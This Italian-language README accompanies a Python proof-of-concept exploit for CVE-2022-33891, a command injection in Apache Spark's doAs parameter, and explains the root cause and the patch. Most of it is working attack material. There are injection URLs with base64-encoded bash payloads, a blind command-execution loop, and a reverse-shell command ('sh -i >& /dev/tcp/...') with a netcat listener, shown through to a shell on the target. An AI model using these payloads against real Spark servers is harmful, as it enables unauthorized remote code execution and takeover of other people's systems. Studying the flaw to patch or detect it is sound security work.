
Vulnerabilità di iniezione di comandi di shell in Apache Spark
Vulnerabilità di Command Injection in Apache Spark Shell
Un POC Python per sfruttare la vulnerabilità di command injection in Apache Spark Shell. Ho visto altri POC in giro ma sembravano super loschi. Questo è pulito e semplice.
Non ho scoperto io questo exploit/vulnerabilità. Volevo solo creare un POC sicuro per la comunità ^.^
CVE scoperta originariamente da Kostya Kortchinsky di Databricks.
Aggiornamento 9/7/22: Ehi, ora c'è un modulo Metasploit per questo! Creato da h00die-gr3y ed è ora stato integrato!
Apache Spark versioni 3.0.3 e precedenti, versioni 3.1.1 fino a 3.1.2 e versioni 3.2.0 fino a 3.2.1
http://localhost:8080/?doAs=`[command injection here]`
Esempio
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... dorme per 10 secondi
Hai bisogno di una versione vulnerabile di Spark che abbia una singola opzione di configurazione modificata.
$ pip3 install -r requirements.txtspark/.docker-compose.yml fornito nella directory spark/ ed esegui docker-compose up. Lascia che il container si avvii.sudo docker exec -it spark_spark_1 /bin/bashecho "spark.acls.enable true" >> conf/spark-defaults.confdocker-compose up┌──(kali㉿kali)-[~/Desktop]
└─$ python3 poc.py -h
usage: poc.py [-h] -u URL -p PORT [--revshell]
[-lh LISTENINGHOST] [-lp LISTENINGPORT]
[--check] [--verbose]
CVE-2022-33891 Python POC Exploit Script
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to exploit.
-p PORT, --port PORT Exploit target's port.
--revshell Reverse Shell option.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Your listening host IP address.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Your listening host port.
--check Checks if the target is
exploitable with a sleep test
--verbose Verbose mode
Controlla se il target è vulnerabile:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
[*] Attempting to connect to site...
[*] URL request: http://localhost:8080/?doAs='testing'
[*] Response status code: 403
[!] Performing sleep test of 10 seconds...
[*] T1: 2022-07-22 10:47:48.406996
[*] Command is: sleep 10
[*] Base64 command is: c2xlZXAgMTA=
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[*] T2: 2022-07-22 10:47:58.425108
[*] Delta T: 10
[+] Sleep was 10 seconds! This target is probably vulnerable!
Esegui comandi in un loop da prompt dei comandi:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
[cve-2022-33891> sleep 5
[*] Command is: sleep 5
[*] Base64 command is: c2xlZXAgNQ==
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[cve-2022-33891>
Esegui una reverse shell:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 9001
[*] When your listener is set up, press enter!
[*] Command is: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
[*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
[*] Sending exploit...
...[nell'altro terminale]...
husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 172.19.0.2 52136
sh: 0: can't access tty; job control turned off
$ whoami
spark
$ echo "hackerman"
hackerman
$
La command injection avviene perché Spark controlla l'appartenenza al gruppo dell'utente passato nel parametro ?doAs utilizzando un comando Linux grezzo. L'interpolazione di Bash esegue il comando, invia l'output al campo id e tenta di cercare l'utente risultante.
Passare which python come valore dell'utente ?doAs= produce questo risultato nel traceback:
...
http://localhost:8080/?doAs=`which%20python`
...
spark_1 | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
spark_1 | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1:
spark_1 | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`
Qui, Java ha deciso che sarebbe stato meglio passare il comando id a bash -c per controllare l'appartenenza al gruppo di un utente specifico. Il problema è che questo consente anche la command injection. L'interpolazione di Bash ha valutato il comando fornito e ha stampato i risultati nella riga 1 di questo output e tenta di cercare l'utente tramite lo stdout del comando.
Non esiste un utente chiamato /opt/bitnami/python/bin/python, ma questo significa di sicuro che il comando è stato passato a Bash ed eseguito.
Le versioni patchate parametrizzano questa chiamata in modo che utilizzi il percorso completo del comando /bin/id invece di bash -c id.
Vale la pena notare che non viene riflesso nulla sulla pagina durante l'esecuzione del comando, quindi si tratta di una OS injection cieca. I tuoi comandi vengono eseguiti, ma non ci sarà alcuna indicazione se hanno funzionato o meno, o persino se il programma che stai eseguendo è presente sul target. Ad esempio, il container che viene avviato con il file docker-compose.yml in questo repository non ha ping, quindi controllare la command injection tramite un pingback non funzionerà. Ma non lo saprai, quindi rimarrai col dubbio se abbia funzionato o meno.
Il test del sonno è una scommessa sicura ^.^
Ho speso esattamente zero cicli per rendere questo POC sicuro per l'OPSEC. Red teamer, sta a voi.
Questo POC non ha alcuna capacità di enumerazione passiva. L'exploit è una command injection cieca. Se usi questo script contro un target, stai inviando pacchetti ad esso. Anche se usi il parametro --check e il target è vulnerabile, lo stai sfruttando attivamente per dimostrare che è vulnerabile.
Non usarlo su sistemi di produzione sensibili ai test. Non usarlo contro target se non sei autorizzato a farlo. Non sono nemmeno lontanamente responsabile di come scegli di usarlo.
Dai un'occhiata alla licenza.